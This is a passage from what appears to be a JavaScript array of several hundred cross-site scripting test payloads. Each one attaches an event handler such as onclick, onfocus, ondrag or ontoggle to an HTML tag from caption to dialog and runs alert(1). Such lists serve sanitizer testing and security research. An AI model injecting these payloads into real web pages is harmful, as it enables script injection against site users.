  String.raw`<caption onkeydown="alert(1)" contenteditable>test</caption>`,
  String.raw`<caption onkeypress="alert(1)" contenteditable>test</caption>`,
  String.raw`<caption onkeyup="alert(1)" contenteditable>test</caption>`,
  String.raw`<caption onmousedown="alert(1)">test</caption>`,
  String.raw`<caption onmouseenter="alert(1)">test</caption>`,
  String.raw`<caption onmouseleave="alert(1)">test</caption>`,
  String.raw`<caption onmousemove="alert(1)">test</caption>`,
  String.raw`<caption onmouseout="alert(1)">test</caption>`,
  String.raw`<caption onmouseover="alert(1)">test</caption>`,
  String.raw`<caption onmouseup="alert(1)">test</caption>`,
  String.raw`<caption onpaste="alert(1)" contenteditable>test</caption>`,
  String.raw`<center draggable="true" ondrag="alert(1)">test</center>`,
  String.raw`<center draggable="true" ondragend="alert(1)">test</center>`,
  String.raw`<center draggable="true" ondragenter="alert(1)">test</center>`,
  String.raw`<center draggable="true" ondragleave="alert(1)">test</center>`,
  String.raw`<center draggable="true" ondragstart="alert(1)">test</center>`,
  String.raw`<center id=x tabindex=1 onactivate=alert(1)></center>`,
  String.raw`<center id=x tabindex=1 onbeforeactivate=alert(1)></center>`,
  String.raw`<center id=x tabindex=1 onbeforedeactivate=alert(1)></center><input autofocus>`,
  String.raw`<center id=x tabindex=1 ondeactivate=alert(1)></center><input id=y autofocus>`,
  String.raw`<center id=x tabindex=1 onfocus=alert(1)></center>`,
  String.raw`<center id=x tabindex=1 onfocusin=alert(1)></center>`,
  String.raw`<center onbeforecopy="alert(1)" contenteditable>test</center>`,
  String.raw`<center onbeforecut="alert(1)" contenteditable>test</center>`,
  String.raw`<center onbeforepaste="alert(1)" contenteditable>test</center>`,
  String.raw`<center onblur=alert(1) tabindex=1 id=x></center><input autofocus>`,
  String.raw`<center onclick="alert(1)">test</center>`,
  String.raw`<center oncontextmenu="alert(1)">test</center>`,
  String.raw`<center oncopy="alert(1)" contenteditable>test</center>`,
  String.raw`<center oncut="alert(1)" contenteditable>test</center>`,
  String.raw`<center ondblclick="alert(1)">test</center>`,
  String.raw`<center onfocusout=alert(1) tabindex=1 id=x></center><input autofocus>`,
  String.raw`<center onkeydown="alert(1)" contenteditable>test</center>`,
  String.raw`<center onkeypress="alert(1)" contenteditable>test</center>`,
  String.raw`<center onkeyup="alert(1)" contenteditable>test</center>`,
  String.raw`<center onmousedown="alert(1)">test</center>`,
  String.raw`<center onmouseenter="alert(1)">test</center>`,
  String.raw`<center onmouseleave="alert(1)">test</center>`,
  String.raw`<center onmousemove="alert(1)">test</center>`,
  String.raw`<center onmouseout="alert(1)">test</center>`,
  String.raw`<center onmouseover="alert(1)">test</center>`,
  String.raw`<center onmouseup="alert(1)">test</center>`,
  String.raw`<center onpaste="alert(1)" contenteditable>test</center>`,
  String.raw`<cite draggable="true" ondrag="alert(1)">test</cite>`,
  String.raw`<cite draggable="true" ondragend="alert(1)">test</cite>`,
  String.raw`<cite draggable="true" ondragenter="alert(1)">test</cite>`,
  String.raw`<cite draggable="true" ondragleave="alert(1)">test</cite>`,
  String.raw`<cite draggable="true" ondragstart="alert(1)">test</cite>`,
  String.raw`<cite id=x tabindex=1 onactivate=alert(1)></cite>`,
  String.raw`<cite id=x tabindex=1 onbeforeactivate=alert(1)></cite>`,
  String.raw`<cite id=x tabindex=1 onbeforedeactivate=alert(1)></cite><input autofocus>`,
  String.raw`<cite id=x tabindex=1 ondeactivate=alert(1)></cite><input id=y autofocus>`,
  String.raw`<cite id=x tabindex=1 onfocus=alert(1)></cite>`,
  String.raw`<cite id=x tabindex=1 onfocusin=alert(1)></cite>`,
  String.raw`<cite onbeforecopy="alert(1)" contenteditable>test</cite>`,
  String.raw`<cite onbeforecut="alert(1)" contenteditable>test</cite>`,
  String.raw`<cite onbeforepaste="alert(1)" contenteditable>test</cite>`,
  String.raw`<cite onblur=alert(1) tabindex=1 id=x></cite><input autofocus>`,
  String.raw`<cite onclick="alert(1)">test</cite>`,
  String.raw`<cite oncontextmenu="alert(1)">test</cite>`,
  String.raw`<cite oncopy="alert(1)" contenteditable>test</cite>`,
  String.raw`<cite oncut="alert(1)" contenteditable>test</cite>`,
  String.raw`<cite ondblclick="alert(1)">test</cite>`,
  String.raw`<cite onfocusout=alert(1) tabindex=1 id=x></cite><input autofocus>`,
  String.raw`<cite onkeydown="alert(1)" contenteditable>test</cite>`,
  String.raw`<cite onkeypress="alert(1)" contenteditable>test</cite>`,
  String.raw`<cite onkeyup="alert(1)" contenteditable>test</cite>`,
  String.raw`<cite onmousedown="alert(1)">test</cite>`,
  String.raw`<cite onmouseenter="alert(1)">test</cite>`,
  String.raw`<cite onmouseleave="alert(1)">test</cite>`,
  String.raw`<cite onmousemove="alert(1)">test</cite>`,
  String.raw`<cite onmouseout="alert(1)">test</cite>`,
  String.raw`<cite onmouseover="alert(1)">test</cite>`,
  String.raw`<cite onmouseup="alert(1)">test</cite>`,
  String.raw`<cite onpaste="alert(1)" contenteditable>test</cite>`,
  String.raw`<code draggable="true" ondrag="alert(1)">test</code>`,
  String.raw`<code draggable="true" ondragend="alert(1)">test</code>`,
  String.raw`<code draggable="true" ondragenter="alert(1)">test</code>`,
  String.raw`<code draggable="true" ondragleave="alert(1)">test</code>`,
  String.raw`<code draggable="true" ondragstart="alert(1)">test</code>`,
  String.raw`<code id=x tabindex=1 onactivate=alert(1)></code>`,
  String.raw`<code id=x tabindex=1 onbeforeactivate=alert(1)></code>`,
  String.raw`<code id=x tabindex=1 onbeforedeactivate=alert(1)></code><input autofocus>`,
  String.raw`<code id=x tabindex=1 ondeactivate=alert(1)></code><input id=y autofocus>`,
  String.raw`<code id=x tabindex=1 onfocus=alert(1)></code>`,
  String.raw`<code id=x tabindex=1 onfocusin=alert(1)></code>`,
  String.raw`<code onbeforecopy="alert(1)" contenteditable>test</code>`,
  String.raw`<code onbeforecut="alert(1)" contenteditable>test</code>`,
  String.raw`<code onbeforepaste="alert(1)" contenteditable>test</code>`,
  String.raw`<code onblur=alert(1) tabindex=1 id=x></code><input autofocus>`,
  String.raw`<code onclick="alert(1)">test</code>`,
  String.raw`<code oncontextmenu="alert(1)">test</code>`,
  String.raw`<code oncopy="alert(1)" contenteditable>test</code>`,
  String.raw`<code oncut="alert(1)" contenteditable>test</code>`,
  String.raw`<code ondblclick="alert(1)">test</code>`,
  String.raw`<code onfocusout=alert(1) tabindex=1 id=x></code><input autofocus>`,
  String.raw`<code onkeydown="alert(1)" contenteditable>test</code>`,
  String.raw`<code onkeypress="alert(1)" contenteditable>test</code>`,
  String.raw`<code onkeyup="alert(1)" contenteditable>test</code>`,
  String.raw`<code onmousedown="alert(1)">test</code>`,
  String.raw`<code onmouseenter="alert(1)">test</code>`,
  String.raw`<code onmouseleave="alert(1)">test</code>`,
  String.raw`<code onmousemove="alert(1)">test</code>`,
  String.raw`<code onmouseout="alert(1)">test</code>`,
  String.raw`<code onmouseover="alert(1)">test</code>`,
  String.raw`<code onmouseup="alert(1)">test</code>`,
  String.raw`<code onpaste="alert(1)" contenteditable>test</code>`,
  String.raw`<col draggable="true" ondrag="alert(1)">test</col>`,
  String.raw`<col draggable="true" ondragend="alert(1)">test</col>`,
  String.raw`<col draggable="true" ondragenter="alert(1)">test</col>`,
  String.raw`<col draggable="true" ondragleave="alert(1)">test</col>`,
  String.raw`<col draggable="true" ondragstart="alert(1)">test</col>`,
  String.raw`<col id=x tabindex=1 onactivate=alert(1)></col>`,
  String.raw`<col id=x tabindex=1 onbeforeactivate=alert(1)></col>`,
  String.raw`<col id=x tabindex=1 onbeforedeactivate=alert(1)></col><input autofocus>`,
  String.raw`<col id=x tabindex=1 ondeactivate=alert(1)></col><input id=y autofocus>`,
  String.raw`<col id=x tabindex=1 onfocus=alert(1)></col>`,
  String.raw`<col id=x tabindex=1 onfocusin=alert(1)></col>`,
  String.raw`<col onbeforecopy="alert(1)" contenteditable>test</col>`,
  String.raw`<col onbeforecut="alert(1)" contenteditable>test</col>`,
  String.raw`<col onbeforepaste="alert(1)" contenteditable>test</col>`,
  String.raw`<col onblur=alert(1) tabindex=1 id=x></col><input autofocus>`,
  String.raw`<col onclick="alert(1)">test</col>`,
  String.raw`<col oncontextmenu="alert(1)">test</col>`,
  String.raw`<col oncopy="alert(1)" contenteditable>test</col>`,
  String.raw`<col oncut="alert(1)" contenteditable>test</col>`,
  String.raw`<col ondblclick="alert(1)">test</col>`,
  String.raw`<col onfocusout=alert(1) tabindex=1 id=x></col><input autofocus>`,
  String.raw`<col onkeydown="alert(1)" contenteditable>test</col>`,
  String.raw`<col onkeypress="alert(1)" contenteditable>test</col>`,
  String.raw`<col onkeyup="alert(1)" contenteditable>test</col>`,
  String.raw`<col onmousedown="alert(1)">test</col>`,
  String.raw`<col onmouseenter="alert(1)">test</col>`,
  String.raw`<col onmouseleave="alert(1)">test</col>`,
  String.raw`<col onmousemove="alert(1)">test</col>`,
  String.raw`<col onmouseout="alert(1)">test</col>`,
  String.raw`<col onmouseover="alert(1)">test</col>`,
  String.raw`<col onmouseup="alert(1)">test</col>`,
  String.raw`<col onpaste="alert(1)" contenteditable>test</col>`,
  String.raw`<colgroup draggable="true" ondrag="alert(1)">test</colgroup>`,
  String.raw`<colgroup draggable="true" ondragend="alert(1)">test</colgroup>`,
  String.raw`<colgroup draggable="true" ondragenter="alert(1)">test</colgroup>`,
  String.raw`<colgroup draggable="true" ondragleave="alert(1)">test</colgroup>`,
  String.raw`<colgroup draggable="true" ondragstart="alert(1)">test</colgroup>`,
  String.raw`<colgroup id=x tabindex=1 onactivate=alert(1)></colgroup>`,
  String.raw`<colgroup id=x tabindex=1 onbeforeactivate=alert(1)></colgroup>`,
  String.raw`<colgroup id=x tabindex=1 onbeforedeactivate=alert(1)></colgroup><input autofocus>`,
  String.raw`<colgroup id=x tabindex=1 ondeactivate=alert(1)></colgroup><input id=y autofocus>`,
  String.raw`<colgroup id=x tabindex=1 onfocus=alert(1)></colgroup>`,
  String.raw`<colgroup id=x tabindex=1 onfocusin=alert(1)></colgroup>`,
  String.raw`<colgroup onbeforecopy="alert(1)" contenteditable>test</colgroup>`,
  String.raw`<colgroup onbeforecut="alert(1)" contenteditable>test</colgroup>`,
  String.raw`<colgroup onbeforepaste="alert(1)" contenteditable>test</colgroup>`,
  String.raw`<colgroup onblur=alert(1) tabindex=1 id=x></colgroup><input autofocus>`,
  String.raw`<colgroup onclick="alert(1)">test</colgroup>`,
  String.raw`<colgroup oncontextmenu="alert(1)">test</colgroup>`,
  String.raw`<colgroup oncopy="alert(1)" contenteditable>test</colgroup>`,
  String.raw`<colgroup oncut="alert(1)" contenteditable>test</colgroup>`,
  String.raw`<colgroup ondblclick="alert(1)">test</colgroup>`,
  String.raw`<colgroup onfocusout=alert(1) tabindex=1 id=x></colgroup><input autofocus>`,
  String.raw`<colgroup onkeydown="alert(1)" contenteditable>test</colgroup>`,
  String.raw`<colgroup onkeypress="alert(1)" contenteditable>test</colgroup>`,
  String.raw`<colgroup onkeyup="alert(1)" contenteditable>test</colgroup>`,
  String.raw`<colgroup onmousedown="alert(1)">test</colgroup>`,
  String.raw`<colgroup onmouseenter="alert(1)">test</colgroup>`,
  String.raw`<colgroup onmouseleave="alert(1)">test</colgroup>`,
  String.raw`<colgroup onmousemove="alert(1)">test</colgroup>`,
  String.raw`<colgroup onmouseout="alert(1)">test</colgroup>`,
  String.raw`<colgroup onmouseover="alert(1)">test</colgroup>`,
  String.raw`<colgroup onmouseup="alert(1)">test</colgroup>`,
  String.raw`<colgroup onpaste="alert(1)" contenteditable>test</colgroup>`,
  String.raw`<command draggable="true" ondrag="alert(1)">test</command>`,
  String.raw`<command draggable="true" ondragend="alert(1)">test</command>`,
  String.raw`<command draggable="true" ondragenter="alert(1)">test</command>`,
  String.raw`<command draggable="true" ondragleave="alert(1)">test</command>`,
  String.raw`<command draggable="true" ondragstart="alert(1)">test</command>`,
  String.raw`<command id=x tabindex=1 onactivate=alert(1)></command>`,
  String.raw`<command id=x tabindex=1 onbeforeactivate=alert(1)></command>`,
  String.raw`<command id=x tabindex=1 onbeforedeactivate=alert(1)></command><input autofocus>`,
  String.raw`<command id=x tabindex=1 ondeactivate=alert(1)></command><input id=y autofocus>`,
  String.raw`<command id=x tabindex=1 onfocus=alert(1)></command>`,
  String.raw`<command id=x tabindex=1 onfocusin=alert(1)></command>`,
  String.raw`<command onbeforecopy="alert(1)" contenteditable>test</command>`,
  String.raw`<command onbeforecut="alert(1)" contenteditable>test</command>`,
  String.raw`<command onbeforepaste="alert(1)" contenteditable>test</command>`,
  String.raw`<command onblur=alert(1) tabindex=1 id=x></command><input autofocus>`,
  String.raw`<command onclick="alert(1)">test</command>`,
  String.raw`<command oncontextmenu="alert(1)">test</command>`,
  String.raw`<command oncopy="alert(1)" contenteditable>test</command>`,
  String.raw`<command oncut="alert(1)" contenteditable>test</command>`,
  String.raw`<command ondblclick="alert(1)">test</command>`,
  String.raw`<command onfocusout=alert(1) tabindex=1 id=x></command><input autofocus>`,
  String.raw`<command onkeydown="alert(1)" contenteditable>test</command>`,
  String.raw`<command onkeypress="alert(1)" contenteditable>test</command>`,
  String.raw`<command onkeyup="alert(1)" contenteditable>test</command>`,
  String.raw`<command onmousedown="alert(1)">test</command>`,
  String.raw`<command onmouseenter="alert(1)">test</command>`,
  String.raw`<command onmouseleave="alert(1)">test</command>`,
  String.raw`<command onmousemove="alert(1)">test</command>`,
  String.raw`<command onmouseout="alert(1)">test</command>`,
  String.raw`<command onmouseover="alert(1)">test</command>`,
  String.raw`<command onmouseup="alert(1)">test</command>`,
  String.raw`<command onpaste="alert(1)" contenteditable>test</command>`,
  String.raw`<content draggable="true" ondrag="alert(1)">test</content>`,
  String.raw`<content draggable="true" ondragend="alert(1)">test</content>`,
  String.raw`<content draggable="true" ondragenter="alert(1)">test</content>`,
  String.raw`<content draggable="true" ondragleave="alert(1)">test</content>`,
  String.raw`<content draggable="true" ondragstart="alert(1)">test</content>`,
  String.raw`<content id=x tabindex=1 onactivate=alert(1)></content>`,
  String.raw`<content id=x tabindex=1 onbeforeactivate=alert(1)></content>`,
  String.raw`<content id=x tabindex=1 onbeforedeactivate=alert(1)></content><input autofocus>`,
  String.raw`<content id=x tabindex=1 ondeactivate=alert(1)></content><input id=y autofocus>`,
  String.raw`<content id=x tabindex=1 onfocus=alert(1)></content>`,
  String.raw`<content id=x tabindex=1 onfocusin=alert(1)></content>`,
  String.raw`<content onbeforecopy="alert(1)" contenteditable>test</content>`,
  String.raw`<content onbeforecut="alert(1)" contenteditable>test</content>`,
  String.raw`<content onbeforepaste="alert(1)" contenteditable>test</content>`,
  String.raw`<content onblur=alert(1) tabindex=1 id=x></content><input autofocus>`,
  String.raw`<content onclick="alert(1)">test</content>`,
  String.raw`<content oncontextmenu="alert(1)">test</content>`,
  String.raw`<content oncopy="alert(1)" contenteditable>test</content>`,
  String.raw`<content oncut="alert(1)" contenteditable>test</content>`,
  String.raw`<content ondblclick="alert(1)">test</content>`,
  String.raw`<content onfocusout=alert(1) tabindex=1 id=x></content><input autofocus>`,
  String.raw`<content onkeydown="alert(1)" contenteditable>test</content>`,
  String.raw`<content onkeypress="alert(1)" contenteditable>test</content>`,
  String.raw`<content onkeyup="alert(1)" contenteditable>test</content>`,
  String.raw`<content onmousedown="alert(1)">test</content>`,
  String.raw`<content onmouseenter="alert(1)">test</content>`,
  String.raw`<content onmouseleave="alert(1)">test</content>`,
  String.raw`<content onmousemove="alert(1)">test</content>`,
  String.raw`<content onmouseout="alert(1)">test</content>`,
  String.raw`<content onmouseover="alert(1)">test</content>`,
  String.raw`<content onmouseup="alert(1)">test</content>`,
  String.raw`<content onpaste="alert(1)" contenteditable>test</content>`,
  String.raw`<data draggable="true" ondrag="alert(1)">test</data>`,
  String.raw`<data draggable="true" ondragend="alert(1)">test</data>`,
  String.raw`<data draggable="true" ondragenter="alert(1)">test</data>`,
  String.raw`<data draggable="true" ondragleave="alert(1)">test</data>`,
  String.raw`<data draggable="true" ondragstart="alert(1)">test</data>`,
  String.raw`<data id=x tabindex=1 onactivate=alert(1)></data>`,
  String.raw`<data id=x tabindex=1 onbeforeactivate=alert(1)></data>`,
  String.raw`<data id=x tabindex=1 onbeforedeactivate=alert(1)></data><input autofocus>`,
  String.raw`<data id=x tabindex=1 ondeactivate=alert(1)></data><input id=y autofocus>`,
  String.raw`<data id=x tabindex=1 onfocus=alert(1)></data>`,
  String.raw`<data id=x tabindex=1 onfocusin=alert(1)></data>`,
  String.raw`<data onbeforecopy="alert(1)" contenteditable>test</data>`,
  String.raw`<data onbeforecut="alert(1)" contenteditable>test</data>`,
  String.raw`<data onbeforepaste="alert(1)" contenteditable>test</data>`,
  String.raw`<data onblur=alert(1) tabindex=1 id=x></data><input autofocus>`,
  String.raw`<data onclick="alert(1)">test</data>`,
  String.raw`<data oncontextmenu="alert(1)">test</data>`,
  String.raw`<data oncopy="alert(1)" contenteditable>test</data>`,
  String.raw`<data oncut="alert(1)" contenteditable>test</data>`,
  String.raw`<data ondblclick="alert(1)">test</data>`,
  String.raw`<data onfocusout=alert(1) tabindex=1 id=x></data><input autofocus>`,
  String.raw`<data onkeydown="alert(1)" contenteditable>test</data>`,
  String.raw`<data onkeypress="alert(1)" contenteditable>test</data>`,
  String.raw`<data onkeyup="alert(1)" contenteditable>test</data>`,
  String.raw`<data onmousedown="alert(1)">test</data>`,
  String.raw`<data onmouseenter="alert(1)">test</data>`,
  String.raw`<data onmouseleave="alert(1)">test</data>`,
  String.raw`<data onmousemove="alert(1)">test</data>`,
  String.raw`<data onmouseout="alert(1)">test</data>`,
  String.raw`<data onmouseover="alert(1)">test</data>`,
  String.raw`<data onmouseup="alert(1)">test</data>`,
  String.raw`<data onpaste="alert(1)" contenteditable>test</data>`,
  String.raw`<datalist draggable="true" ondrag="alert(1)">test</datalist>`,
  String.raw`<datalist draggable="true" ondragend="alert(1)">test</datalist>`,
  String.raw`<datalist draggable="true" ondragenter="alert(1)">test</datalist>`,
  String.raw`<datalist draggable="true" ondragleave="alert(1)">test</datalist>`,
  String.raw`<datalist draggable="true" ondragstart="alert(1)">test</datalist>`,
  String.raw`<datalist id=x tabindex=1 onactivate=alert(1)></datalist>`,
  String.raw`<datalist id=x tabindex=1 onbeforeactivate=alert(1)></datalist>`,
  String.raw`<datalist id=x tabindex=1 onbeforedeactivate=alert(1)></datalist><input autofocus>`,
  String.raw`<datalist id=x tabindex=1 ondeactivate=alert(1)></datalist><input id=y autofocus>`,
  String.raw`<datalist id=x tabindex=1 onfocus=alert(1)></datalist>`,
  String.raw`<datalist id=x tabindex=1 onfocusin=alert(1)></datalist>`,
  String.raw`<datalist onbeforecopy="alert(1)" contenteditable>test</datalist>`,
  String.raw`<datalist onbeforecut="alert(1)" contenteditable>test</datalist>`,
  String.raw`<datalist onbeforepaste="alert(1)" contenteditable>test</datalist>`,
  String.raw`<datalist onblur=alert(1) tabindex=1 id=x></datalist><input autofocus>`,
  String.raw`<datalist onclick="alert(1)">test</datalist>`,
  String.raw`<datalist oncontextmenu="alert(1)">test</datalist>`,
  String.raw`<datalist oncopy="alert(1)" contenteditable>test</datalist>`,
  String.raw`<datalist oncut="alert(1)" contenteditable>test</datalist>`,
  String.raw`<datalist ondblclick="alert(1)">test</datalist>`,
  String.raw`<datalist onfocusout=alert(1) tabindex=1 id=x></datalist><input autofocus>`,
  String.raw`<datalist onkeydown="alert(1)" contenteditable>test</datalist>`,
  String.raw`<datalist onkeypress="alert(1)" contenteditable>test</datalist>`,
  String.raw`<datalist onkeyup="alert(1)" contenteditable>test</datalist>`,
  String.raw`<datalist onmousedown="alert(1)">test</datalist>`,
  String.raw`<datalist onmouseenter="alert(1)">test</datalist>`,
  String.raw`<datalist onmouseleave="alert(1)">test</datalist>`,
  String.raw`<datalist onmousemove="alert(1)">test</datalist>`,
  String.raw`<datalist onmouseout="alert(1)">test</datalist>`,
  String.raw`<datalist onmouseover="alert(1)">test</datalist>`,
  String.raw`<datalist onmouseup="alert(1)">test</datalist>`,
  String.raw`<datalist onpaste="alert(1)" contenteditable>test</datalist>`,
  String.raw`<dd draggable="true" ondrag="alert(1)">test</dd>`,
  String.raw`<dd draggable="true" ondragend="alert(1)">test</dd>`,
  String.raw`<dd draggable="true" ondragenter="alert(1)">test</dd>`,
  String.raw`<dd draggable="true" ondragleave="alert(1)">test</dd>`,
  String.raw`<dd draggable="true" ondragstart="alert(1)">test</dd>`,
  String.raw`<dd id=x tabindex=1 onactivate=alert(1)></dd>`,
  String.raw`<dd id=x tabindex=1 onbeforeactivate=alert(1)></dd>`,
  String.raw`<dd id=x tabindex=1 onbeforedeactivate=alert(1)></dd><input autofocus>`,
  String.raw`<dd id=x tabindex=1 ondeactivate=alert(1)></dd><input id=y autofocus>`,
  String.raw`<dd id=x tabindex=1 onfocus=alert(1)></dd>`,
  String.raw`<dd id=x tabindex=1 onfocusin=alert(1)></dd>`,
  String.raw`<dd onbeforecopy="alert(1)" contenteditable>test</dd>`,
  String.raw`<dd onbeforecut="alert(1)" contenteditable>test</dd>`,
  String.raw`<dd onbeforepaste="alert(1)" contenteditable>test</dd>`,
  String.raw`<dd onblur=alert(1) tabindex=1 id=x></dd><input autofocus>`,
  String.raw`<dd onclick="alert(1)">test</dd>`,
  String.raw`<dd oncontextmenu="alert(1)">test</dd>`,
  String.raw`<dd oncopy="alert(1)" contenteditable>test</dd>`,
  String.raw`<dd oncut="alert(1)" contenteditable>test</dd>`,
  String.raw`<dd ondblclick="alert(1)">test</dd>`,
  String.raw`<dd onfocusout=alert(1) tabindex=1 id=x></dd><input autofocus>`,
  String.raw`<dd onkeydown="alert(1)" contenteditable>test</dd>`,
  String.raw`<dd onkeypress="alert(1)" contenteditable>test</dd>`,
  String.raw`<dd onkeyup="alert(1)" contenteditable>test</dd>`,
  String.raw`<dd onmousedown="alert(1)">test</dd>`,
  String.raw`<dd onmouseenter="alert(1)">test</dd>`,
  String.raw`<dd onmouseleave="alert(1)">test</dd>`,
  String.raw`<dd onmousemove="alert(1)">test</dd>`,
  String.raw`<dd onmouseout="alert(1)">test</dd>`,
  String.raw`<dd onmouseover="alert(1)">test</dd>`,
  String.raw`<dd onmouseup="alert(1)">test</dd>`,
  String.raw`<dd onpaste="alert(1)" contenteditable>test</dd>`,
  String.raw`<del draggable="true" ondrag="alert(1)">test</del>`,
  String.raw`<del draggable="true" ondragend="alert(1)">test</del>`,
  String.raw`<del draggable="true" ondragenter="alert(1)">test</del>`,
  String.raw`<del draggable="true" ondragleave="alert(1)">test</del>`,
  String.raw`<del draggable="true" ondragstart="alert(1)">test</del>`,
  String.raw`<del id=x tabindex=1 onactivate=alert(1)></del>`,
  String.raw`<del id=x tabindex=1 onbeforeactivate=alert(1)></del>`,
  String.raw`<del id=x tabindex=1 onbeforedeactivate=alert(1)></del><input autofocus>`,
  String.raw`<del id=x tabindex=1 ondeactivate=alert(1)></del><input id=y autofocus>`,
  String.raw`<del id=x tabindex=1 onfocus=alert(1)></del>`,
  String.raw`<del id=x tabindex=1 onfocusin=alert(1)></del>`,
  String.raw`<del onbeforecopy="alert(1)" contenteditable>test</del>`,
  String.raw`<del onbeforecut="alert(1)" contenteditable>test</del>`,
  String.raw`<del onbeforepaste="alert(1)" contenteditable>test</del>`,
  String.raw`<del onblur=alert(1) tabindex=1 id=x></del><input autofocus>`,
  String.raw`<del onclick="alert(1)">test</del>`,
  String.raw`<del oncontextmenu="alert(1)">test</del>`,
  String.raw`<del oncopy="alert(1)" contenteditable>test</del>`,
  String.raw`<del oncut="alert(1)" contenteditable>test</del>`,
  String.raw`<del ondblclick="alert(1)">test</del>`,
  String.raw`<del onfocusout=alert(1) tabindex=1 id=x></del><input autofocus>`,
  String.raw`<del onkeydown="alert(1)" contenteditable>test</del>`,
  String.raw`<del onkeypress="alert(1)" contenteditable>test</del>`,
  String.raw`<del onkeyup="alert(1)" contenteditable>test</del>`,
  String.raw`<del onmousedown="alert(1)">test</del>`,
  String.raw`<del onmouseenter="alert(1)">test</del>`,
  String.raw`<del onmouseleave="alert(1)">test</del>`,
  String.raw`<del onmousemove="alert(1)">test</del>`,
  String.raw`<del onmouseout="alert(1)">test</del>`,
  String.raw`<del onmouseover="alert(1)">test</del>`,
  String.raw`<del onmouseup="alert(1)">test</del>`,
  String.raw`<del onpaste="alert(1)" contenteditable>test</del>`,
  String.raw`<details draggable="true" ondrag="alert(1)">test</details>`,
  String.raw`<details draggable="true" ondragend="alert(1)">test</details>`,
  String.raw`<details draggable="true" ondragenter="alert(1)">test</details>`,
  String.raw`<details draggable="true" ondragleave="alert(1)">test</details>`,
  String.raw`<details draggable="true" ondragstart="alert(1)">test</details>`,
  String.raw`<details id=x tabindex=1 onactivate=alert(1)></details>`,
  String.raw`<details id=x tabindex=1 onbeforeactivate=alert(1)></details>`,
  String.raw`<details id=x tabindex=1 onbeforedeactivate=alert(1)></details><input autofocus>`,
  String.raw`<details id=x tabindex=1 ondeactivate=alert(1)></details><input id=y autofocus>`,
  String.raw`<details id=x tabindex=1 onfocus=alert(1)></details>`,
  String.raw`<details id=x tabindex=1 onfocusin=alert(1)></details>`,
  String.raw`<details onbeforecopy="alert(1)" contenteditable>test</details>`,
  String.raw`<details onbeforecut="alert(1)" contenteditable>test</details>`,
  String.raw`<details onbeforepaste="alert(1)" contenteditable>test</details>`,
  String.raw`<details onblur=alert(1) tabindex=1 id=x></details><input autofocus>`,
  String.raw`<details onclick="alert(1)">test</details>`,
  String.raw`<details oncontextmenu="alert(1)">test</details>`,
  String.raw`<details oncopy="alert(1)" contenteditable>test</details>`,
  String.raw`<details oncut="alert(1)" contenteditable>test</details>`,
  String.raw`<details ondblclick="alert(1)">test</details>`,
  String.raw`<details onfocusout=alert(1) tabindex=1 id=x></details><input autofocus>`,
  String.raw`<details onkeydown="alert(1)" contenteditable>test</details>`,
  String.raw`<details onkeypress="alert(1)" contenteditable>test</details>`,
  String.raw`<details onkeyup="alert(1)" contenteditable>test</details>`,
  String.raw`<details onmousedown="alert(1)">test</details>`,
  String.raw`<details onmouseenter="alert(1)">test</details>`,
  String.raw`<details onmouseleave="alert(1)">test</details>`,
  String.raw`<details onmousemove="alert(1)">test</details>`,
  String.raw`<details onmouseout="alert(1)">test</details>`,
  String.raw`<details onmouseover="alert(1)">test</details>`,
  String.raw`<details onmouseup="alert(1)">test</details>`,
  String.raw`<details onpaste="alert(1)" contenteditable>test</details>`,
  String.raw`<details ontoggle=alert(1) open>test</details>`,
  String.raw`<dfn draggable="true" ondrag="alert(1)">test</dfn>`,
  String.raw`<dfn draggable="true" ondragend="alert(1)">test</dfn>`,
  String.raw`<dfn draggable="true" ondragenter="alert(1)">test</dfn>`,
  String.raw`<dfn draggable="true" ondragleave="alert(1)">test</dfn>`,
  String.raw`<dfn draggable="true" ondragstart="alert(1)">test</dfn>`,
  String.raw`<dfn id=x tabindex=1 onactivate=alert(1)></dfn>`,
  String.raw`<dfn id=x tabindex=1 onbeforeactivate=alert(1)></dfn>`,
  String.raw`<dfn id=x tabindex=1 onbeforedeactivate=alert(1)></dfn><input autofocus>`,
  String.raw`<dfn id=x tabindex=1 ondeactivate=alert(1)></dfn><input id=y autofocus>`,
  String.raw`<dfn id=x tabindex=1 onfocus=alert(1)></dfn>`,
  String.raw`<dfn id=x tabindex=1 onfocusin=alert(1)></dfn>`,
  String.raw`<dfn onbeforecopy="alert(1)" contenteditable>test</dfn>`,
  String.raw`<dfn onbeforecut="alert(1)" contenteditable>test</dfn>`,
  String.raw`<dfn onbeforepaste="alert(1)" contenteditable>test</dfn>`,
  String.raw`<dfn onblur=alert(1) tabindex=1 id=x></dfn><input autofocus>`,
  String.raw`<dfn onclick="alert(1)">test</dfn>`,
  String.raw`<dfn oncontextmenu="alert(1)">test</dfn>`,
  String.raw`<dfn oncopy="alert(1)" contenteditable>test</dfn>`,
  String.raw`<dfn oncut="alert(1)" contenteditable>test</dfn>`,
  String.raw`<dfn ondblclick="alert(1)">test</dfn>`,
  String.raw`<dfn onfocusout=alert(1) tabindex=1 id=x></dfn><input autofocus>`,
  String.raw`<dfn onkeydown="alert(1)" contenteditable>test</dfn>`,
  String.raw`<dfn onkeypress="alert(1)" contenteditable>test</dfn>`,
  String.raw`<dfn onkeyup="alert(1)" contenteditable>test</dfn>`,
  String.raw`<dfn onmousedown="alert(1)">test</dfn>`,
  String.raw`<dfn onmouseenter="alert(1)">test</dfn>`,
  String.raw`<dfn onmouseleave="alert(1)">test</dfn>`,
  String.raw`<dfn onmousemove="alert(1)">test</dfn>`,
  String.raw`<dfn onmouseout="alert(1)">test</dfn>`,
  String.raw`<dfn onmouseover="alert(1)">test</dfn>`,
  String.raw`<dfn onmouseup="alert(1)">test</dfn>`,
  String.raw`<dfn onpaste="alert(1)" contenteditable>test</dfn>`,
  String.raw`<dialog draggable="true" ondrag="alert(1)">test</dialog>`,
  String.raw`<dialog draggable="true" ondragend="alert(1)">test</dialog>`,
  String.raw`<dialog draggable="true" ondragenter="alert(1)">test</dialog>`,
  String.raw`<dialog draggable="true" ondragleave="alert(1)">test</dialog>`,
  String.raw`<dialog draggable="true" ondragstart="alert(1)">test</dialog>`,
  String.raw`<dialog id=x tabindex=1 onactivate=alert(1)></dialog>`,
  String.raw`<dialog id=x tabindex=1 onbeforeactivate=alert(1)></dialog>`,
  String.raw`<dialog id=x tabindex=1 onbeforedeactivate=alert(1)></dialog><input autofocus>`,
  String.raw`<dialog id=x tabindex=1 ondeactivate=alert(1)></dialog><input id=y autofocus>`,
  String.raw`<dialog id=x tabindex=1 onfocus=alert(1)></dialog>`,
  String.raw`<dialog id=x tabindex=1 onfocusin=alert(1)></dialog>`,
  String.raw`<dialog onbeforecopy="alert(1)" contenteditable>test</dialog>`,
